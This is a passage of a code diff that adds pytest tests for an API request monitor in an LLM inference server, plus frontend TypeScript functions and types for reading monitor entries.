+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            first = await anext(iterator)
+            assert "hello" in first
+
+            pending = asyncio.create_task(anext(iterator))
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await pending
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class CancellingAsyncClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **_kwargs):
+                    raise asyncio.CancelledError()
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod.httpx,
+                "AsyncClient",
+                lambda *args, **kwargs: CancellingAsyncClient(),
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                )
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = []
+            async for chunk in response.body_iterator:
+                chunks.append(chunk)
+
+            assert chunks == ['data: {"choices":[{"delta":{"content":"hello"}}]}\n\n']
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+
+class TestApiMonitorSafetensorsUsage:
+    class _Request:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/chat/completions")
+        method = "POST"
+
+    def test_non_streaming_safetensors_records_usage(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class DummyBackend:
+                active_model_name = "safe-model"
+                models = {"safe-model": {"context_length": 2048}}
+
+                def generate_chat_response(self, *, stats_holder, **_kwargs):
+                    stats_holder["stats"] = {
+                        "usage": {
+                            "prompt_tokens": 8,
+                            "completion_tokens": 5,
+                            "total_tokens": 13,
+                        }
+                    }
+                    yield "safe reply"
+
+                def reset_generation_state(self):
+                    pass
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = False,
+                    supports_tools = False,
+                    is_vision = False,
+                    context_length = None,
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend())
+            monkeypatch.setattr(
+                inf_mod,
+                "_detect_safetensors_features",
+                lambda *_args, **_kwargs: {"supports_tools": False},
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+            )
+
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            body = json.loads(response.body)
+
+            assert body["choices"][0]["message"]["content"] == "safe reply"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "safe reply"
+            assert entry["prompt_tokens"] == 8
+            assert entry["completion_tokens"] == 5
+            assert entry["total_tokens"] == 13
+            assert entry["context_length"] == 2048
+
+        asyncio.run(_run())
+
+    def test_non_streaming_safetensors_tool_cancel_records_cancelled(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            reset_tool_policy()
+
+            class DummyBackend:
+                active_model_name = "safe-model"
+                models = {"safe-model": {"context_length": 2048}}
+
+                def generate_chat_response(self, **_kwargs):
+                    raise AssertionError("plain safetensors path should not be used")
+
+                def generate_chat_completion_with_tools(
+                    self, *, cancel_event, stats_holder, **_kwargs
+                ):
+                    stats_holder["stats"] = {
+                        "usage": {
+                            "prompt_tokens": 8,
+                            "completion_tokens": 5,
+                            "total_tokens": 13,
+                        }
+                    }
+                    yield {"type": "content", "text": "partial"}
+                    cancel_event.set()
+                    yield {"type": "content", "text": "ignored"}
+
+                def reset_generation_state(self):
+                    pass
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = False,
+                    supports_tools = False,
+                    is_vision = False,
+                    context_length = None,
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend())
+            monkeypatch.setattr(
+                inf_mod,
+                "_detect_safetensors_features",
+                lambda *_args, **_kwargs: {"supports_tools": True},
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                enable_tools = True,
+                enabled_tools = ["web_search"],
+                cancel_id = "safe-cancel",
+            )
+
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            body = json.loads(response.body)
+
+            assert body["choices"][0]["message"]["content"] == "partial"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["reply"] == "partial"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_non_streaming_safetensors_tool_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            reset_tool_policy()
+            reset_called = False
+
+            class DummyBackend:
+                active_model_name = "safe-model"
+                models = {"safe-model": {"context_length": 2048}}
+
+                def generate_chat_response(self, **_kwargs):
+                    raise AssertionError("plain safetensors path should not be used")
+
+                def generate_chat_completion_with_tools(self, **_kwargs):
+                    yield {"type": "content", "text": "unused"}
+
+                def reset_generation_state(self):
+                    nonlocal reset_called
+                    reset_called = True
+
+            async def fake_to_thread(*_args, **_kwargs):
+                raise asyncio.CancelledError()
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod.asyncio, "to_thread", fake_to_thread)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = False,
+                    supports_tools = False,
+                    is_vision = False,
+                    context_length = None,
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyBackend())
+            monkeypatch.setattr(
+                inf_mod,
+                "_detect_safetensors_features",
+                lambda *_args, **_kwargs: {"supports_tools": True},
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                enable_tools = True,
+                enabled_tools = ["web_search"],
+                cancel_id = "safe-cancel",
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await openai_chat_completions(
+                    payload,
+                    request = self._Request(),
+                    current_subject = "test",
+                )
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert reset_called is True
+
+        asyncio.run(_run())
+
+
+class TestApiMonitorAudioInput:
+    def _patch_audio_backend(self, monkeypatch, chunks):
+        import routes.inference as inf_mod
+
+        class DummyAudioBackend:
+            active_model_name = "audio-model"
+            models = {
+                "audio-model": {
+                    "has_audio_input": True,
+                    "audio_type": "audio-input",
+                }
+            }
+
+            def generate_audio_input_response(self, **_kwargs):
+                yield from chunks
+
+        monkeypatch.setattr(
+            inf_mod,
+            "get_llama_cpp_backend",
+            lambda: SimpleNamespace(is_loaded = False),
+        )
+        monkeypatch.setattr(
+            inf_mod,
+            "get_inference_backend",
+            lambda: DummyAudioBackend(),
+        )
+        monkeypatch.setattr(
+            inf_mod,
+            "_decode_audio_base64",
+            lambda _payload: object(),
+        )
+        return inf_mod
+
+    def test_audio_input_non_streaming_records_active_monitor(self, monkeypatch):
+        async def _run():
+            inf_mod = self._patch_audio_backend(monkeypatch, ["hello", " world"])
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "describe this audio")],
+                audio_base64 = "ZmFrZQ==",
+            )
+            request = SimpleNamespace(
+                state = SimpleNamespace(),
+                url = SimpleNamespace(path = "/v1/chat/completions"),
+                method = "POST",
+            )
+
+            response = await openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+            body = json.loads(response.body)
+
+            assert body["choices"][0]["message"]["content"] == "hello world"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "hello world"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_audio_input_streaming_records_monitor_reply(self, monkeypatch):
+        async def _run():
+            inf_mod = self._patch_audio_backend(monkeypatch, ["hello", " world"])
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+
+            async def is_disconnected():
+                return False
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "describe this audio")],
+                audio_base64 = "ZmFrZQ==",
+                stream = True,
+            )
+            request = SimpleNamespace(
+                state = SimpleNamespace(),
+                url = SimpleNamespace(path = "/v1/chat/completions"),
+                method = "POST",
+                is_disconnected = is_disconnected,
+            )
+
+            response = await openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+            chunks = []
+            async for chunk in response.body_iterator:
+                chunks.append(chunk.decode() if isinstance(chunk, bytes) else chunk)
+
+            assert chunks[-1] == "data: [DONE]\n\n"
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["reply"] == "hello world"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_non_gguf_tts_auto_route_records_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class DummyTtsBackend:
+                active_model_name = "tts-model"
+                models = {
+                    "tts-model": {
+                        "is_audio": True,
+                        "audio_type": "snac",
+                    }
+                }
+
+            async def fake_generate_audio(
+                _payload,
+                _request,
+                current_subject = None,
+            ):
+                return inf_mod.JSONResponse(
+                    content = {
+                        "choices": [
+                            {
+                                "message": {
+                                    "content": "[Generated audio]",
+                                }
+                            }
+                        ]
+                    }
+                )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(is_loaded = False),
+            )
+            monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyTtsBackend())
+            monkeypatch.setattr(inf_mod, "generate_audio", fake_generate_audio)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "say hello")],
+            )
+            request = SimpleNamespace(
+                state = SimpleNamespace(),
+                url = SimpleNamespace(path = "/v1/chat/completions"),
+                method = "POST",
+            )
+
+            response = await inf_mod.openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == (
+                "[Generated audio]"
+            )
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["model"] == "tts-model"
+            assert entry["reply"] == "[Generated audio]"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_non_gguf_tts_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class DummyTtsBackend:
+                active_model_name = "tts-model"
+                models = {
+                    "tts-model": {
+                        "is_audio": True,
+                        "audio_type": "snac",
+                    }
+                }
+
+            async def fake_generate_audio(
+                _payload,
+                _request,
+                current_subject = None,
+            ):
+                raise asyncio.CancelledError()
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(is_loaded = False),
+            )
+            monkeypatch.setattr(inf_mod, "get_inference_backend", lambda: DummyTtsBackend())
+            monkeypatch.setattr(inf_mod, "generate_audio", fake_generate_audio)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "say hello")],
+            )
+            request = SimpleNamespace(
+                state = SimpleNamespace(),
+                url = SimpleNamespace(path = "/v1/chat/completions"),
+                method = "POST",
+            )
+
+            with pytest.raises(asyncio.CancelledError):
+                await inf_mod.openai_chat_completions(
+                    payload,
+                    request = request,
+                    current_subject = "test",
+                )
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["model"] == "tts-model"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tts_auto_route_records_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_generate_audio(
+                _payload,
+                _request,
+                current_subject = None,
+            ):
+                return inf_mod.JSONResponse(
+                    content = {
+                        "choices": [
+                            {
+                                "message": {
+                                    "content": "[Generated audio]",
+                                }
+                            }
+                        ]
+                    }
+                )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    _is_audio = True,
+                    model_identifier = "gguf-tts",
+                    context_length = 2048,
+                ),
+            )
+            monkeypatch.setattr(inf_mod, "generate_audio", fake_generate_audio)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "say hello")],
+            )
+            request = SimpleNamespace(
+                state = SimpleNamespace(),
+                url = SimpleNamespace(path = "/v1/chat/completions"),
+                method = "POST",
+            )
+
+            await inf_mod.openai_chat_completions(
+                payload,
+                request = request,
+                current_subject = "test",
+            )
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert entry["model"] == "gguf-tts"
+            assert entry["context_length"] == 2048
+            assert entry["reply"] == "[Generated audio]"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
 
 
 # =====================================================================
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 89155c2daf..0bea355668 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -40,6 +40,7 @@ from fastapi import HTTPException
 from fastapi.responses import JSONResponse
 from pydantic import ValidationError
 
+from core.inference.api_monitor import ApiMonitor
 from models.inference import (
     ChatMessage,
     ResponsesFunctionCallInputItem,
@@ -781,6 +782,129 @@ class TestResponsesNonStreamingAdapter:
         assert "<think>" not in body["output"][1]["content"][0]["text"]
         assert "</think>" not in body["output"][1]["content"][0]["text"]
 
+    def test_monitor_records_translated_visible_text(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        async def fake_chat_completions(chat_req, request):
+            assert request.state.skip_api_monitor is True
+            return JSONResponse(
+                content = {
+                    "model": "test-model",
+                    "choices": [{"message": {"content": "<think>plan</think>answer"}}],
+                    "usage": {"prompt_tokens": 2, "completion_tokens": 3},
+                }
+            )
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "openai_chat_completions", fake_chat_completions)
+        payload = ResponsesRequest(input = "hi", reasoning = {"effort": "high"})
+        messages = [ChatMessage(role = "user", content = "hi")]
+        request = SimpleNamespace(
+            state = SimpleNamespace(),
+            url = SimpleNamespace(path = "/v1/responses"),
+            method = "POST",
+        )
+
+        async def run():
+            response = await _responses_non_streaming(payload, messages, request)
+            return json.loads(response.body.decode())
+
+        body = asyncio.run(run())
+
+        assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}]
+        assert body["output"][1]["content"][0]["text"] == "answer"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "answer"
+        assert entry["prompt_tokens"] == 2
+        assert entry["completion_tokens"] == 3
+        assert request.state.skip_api_monitor is False
+
+    def test_monitor_records_tool_only_reply(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        async def fake_chat_completions(chat_req, request):
+            assert request.state.skip_api_monitor is True
+            return JSONResponse(
+                content = {
+                    "model": "test-model",
+                    "choices": [
+                        {
+                            "message": {
+                                "content": "",
+                                "tool_calls": [
+                                    {
+                                        "id": "call_1",
+                                        "type": "function",
+                                        "function": {
+                                            "name": "lookup",
+                                            "arguments": '{"query":"weather"}',
+                                        },
+                                    }
+                                ],
+                            }
+                        }
+                    ],
+                    "usage": {"prompt_tokens": 2, "completion_tokens": 3},
+                }
+            )
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "openai_chat_completions", fake_chat_completions)
+        payload = ResponsesRequest(
+            input = "hi",
+            tools = [{"type": "function", "name": "lookup"}],
+        )
+        messages = [ChatMessage(role = "user", content = "hi")]
+        request = SimpleNamespace(
+            state = SimpleNamespace(),
+            url = SimpleNamespace(path = "/v1/responses"),
+            method = "POST",
+        )
+
+        async def run():
+            response = await _responses_non_streaming(payload, messages, request)
+            return json.loads(response.body.decode())
+
+        body = asyncio.run(run())
+
+        assert body["output"][0]["type"] == "function_call"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == 'Tool call: lookup({"query":"weather"})'
+        assert request.state.skip_api_monitor is False
+
+    def test_cancelled_chat_completion_finalizes_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        async def fake_chat_completions(chat_req, request):
+            assert request.state.skip_api_monitor is True
+            raise asyncio.CancelledError()
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "openai_chat_completions", fake_chat_completions)
+        payload = ResponsesRequest(input = "hi")
+        messages = [ChatMessage(role = "user", content = "hi")]
+        request = SimpleNamespace(
+            state = SimpleNamespace(),
+            url = SimpleNamespace(path = "/v1/responses"),
+            method = "POST",
+        )
+
+        async def run():
+            with pytest.raises(asyncio.CancelledError):
+                await _responses_non_streaming(payload, messages, request)
+
+        asyncio.run(run())
+
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "cancelled"
+        assert monitor.active_count() == 0
+        assert request.state.skip_api_monitor is False
+
     def test_literal_think_tags_remain_visible_without_reasoning_request(self, monkeypatch):
         body = self._run_with_message(monkeypatch, {"content": "show <think>x</think> tags"})
 
@@ -939,6 +1063,275 @@ class TestResponsesStreamAdapter:
         assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
         assert completed["response"]["output"][1]["content"][0]["text"] == "33"
 
+    def test_usage_only_chunk_updates_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        chunks = [
+            {"choices": [{"delta": {"content": "33"}}]},
+            {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
+        ]
+        self._install_stream_mock(monkeypatch, chunks)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/responses",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            return await self._collect(response)
+
+        asyncio.run(run())
+
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "33"
+        assert entry["prompt_tokens"] == 2
+        assert entry["completion_tokens"] == 3
+        assert entry["total_tokens"] == 5
+        assert entry["context_length"] == 4096
+
+    def test_function_call_chunk_updates_monitor_reply(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        chunks = [
+            {
+                "choices": [
+                    {
+                        "delta": {
+                            "tool_calls": [
+                                {
+                                    "index": 0,
+                                    "id": "call_1",
+                                    "function": {
+                                        "name": "lookup",
+                                        "arguments": '{"query":"weather"}',
+                                    },
+                                }
+                            ]
+                        }
+                    }
+                ]
+            }
+        ]
+        self._install_stream_mock(monkeypatch, chunks)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/responses",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            return await self._collect(response)
+
+        lines = asyncio.run(run())
+
+        assert self._payloads(lines, "response.output_item.done")[-1]["item"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == 'Tool call: lookup({"query":"weather"})'
+
+    def test_preheader_cancel_finalizes_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        self._install_stream_mock(monkeypatch, [])
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/responses",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+        )
+
+        async def fake_send(*_args, **_kwargs):
+            return None
+
+        monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            return await self._collect(response)
+
+        asyncio.run(run())
+
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "cancelled"
+        assert monitor.active_count() == 0
+
+    def test_stream_task_cancel_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                await asyncio.sleep(3600)
+
+            self._install_stream_mock(monkeypatch, [])
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/responses",
+                method = "POST",
+                model = "m",
+                prompt = "hi",
+            )
+            payload = ResponsesRequest(input = "hi", stream = True)
+            messages = [ChatMessage(role = "user", content = "hi")]
+
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            iterator = response.body_iterator
+            first = ""
+            for _ in range(8):
+                first = await anext(iterator)
+                if "hello" in first:
+                    break
+            else:
+                pytest.fail("stream did not emit text delta")
+
+            pending = asyncio.create_task(anext(iterator))
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await pending
+
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_final_visible_text_updates_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        class FakeExtractor:
+            def __init__(self, **_kwargs):
+                pass
+
+            def feed(
+                self,
+                _content,
+                _reasoning_content = None,
+            ):
+                return "", ""
+
+            def finish(self):
+                return "", "tail"
+
+        self._install_stream_mock(monkeypatch, [{"choices": [{"delta": {"content": "<tai"}}]}])
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "_ResponsesReasoningExtractor", FakeExtractor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/responses",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            return await self._collect(response)
+
+        lines = asyncio.run(run())
+
+        assert self._payloads(lines, "response.output_text.delta")[-1]["delta"] == "tail"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "tail"
+
+    def test_reasoning_only_fallback_updates_monitor(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        class FakeExtractor:
+            def __init__(self, **_kwargs):
+                pass
+
+            def feed(
+                self,
+                _content,
+                _reasoning_content = None,
+            ):
+                return "", ""
+
+            def finish(self):
+                return "plan", ""
+
+        self._install_stream_mock(monkeypatch, [{"choices": [{"delta": {"content": "<think>"}}]}])
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        monkeypatch.setattr(inf_mod, "_ResponsesReasoningExtractor", FakeExtractor)
+        monitor_id = monitor.start(
+            endpoint = "/v1/responses",
+            method = "POST",
+            model = "m",
+            prompt = "hi",
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(
+                payload,
+                messages,
+                self._Request(),
+                monitor_id = monitor_id,
+            )
+            return await self._collect(response)
+
+        lines = asyncio.run(run())
+
+        assert self._payloads(lines, "response.output_text.delta")[-1]["delta"] == "plan"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "plan"
+
     def test_literal_think_tags_stream_as_visible_text_without_reasoning_request(self, monkeypatch):
         chunks = [
             {"choices": [{"delta": {"content": "show <thi"}}]},
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 33493ecda0..2d2fa81012 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -10,7 +10,9 @@ import type {
   ThreadRecord,
 } from "../types";
 import type {
+  ApiMonitorEntry,
   AudioGenerationResponse,
+  ApiMonitorResponse,
   GgufVariantsResponse,
   InferenceStatusResponse,
   ListLorasResponse,
@@ -70,6 +72,18 @@ export async function getInferenceStatus(): Promise<InferenceStatusResponse> {
   return parseJsonOrThrow<InferenceStatusResponse>(response);
 }
 
+export async function getApiMonitor(): Promise<ApiMonitorResponse> {
+  const response = await authFetch("/api/inference/monitor");
+  return parseJsonOrThrow<ApiMonitorResponse>(response);
+}
+
+export async function getApiMonitorEntry(id: string): Promise<ApiMonitorEntry> {
+  const response = await authFetch(
+    `/api/inference/monitor/${encodeURIComponent(id)}`,
+  );
+  return parseJsonOrThrow<ApiMonitorEntry>(response);
+}
+
 export async function loadModel(
   payload: LoadModelRequest,
 ): Promise<LoadModelResponse> {
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 2f0e30fdcf..781172fb4f 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -193,6 +193,38 @@ export interface InferenceStatusResponse {
   spec_fallback_reason?: string | null;
 }
 
+export interface ApiMonitorEntry {
+  id: string;
+  endpoint: string;
+  method: string;
+  model: string;
+  prompt?: string;
+  reply?: string;
+  prompt_preview: string;
+  reply_preview: string;
+  prompt_truncated: boolean;
+  reply_truncated: boolean;
+  status: "running" | "completed" | "cancelled" | "error";
+  started_at: number;
+  updated_at: number;
+  finished_at?: number | null;
+  duration_ms?: number | null;
+  context_length?: number | null;
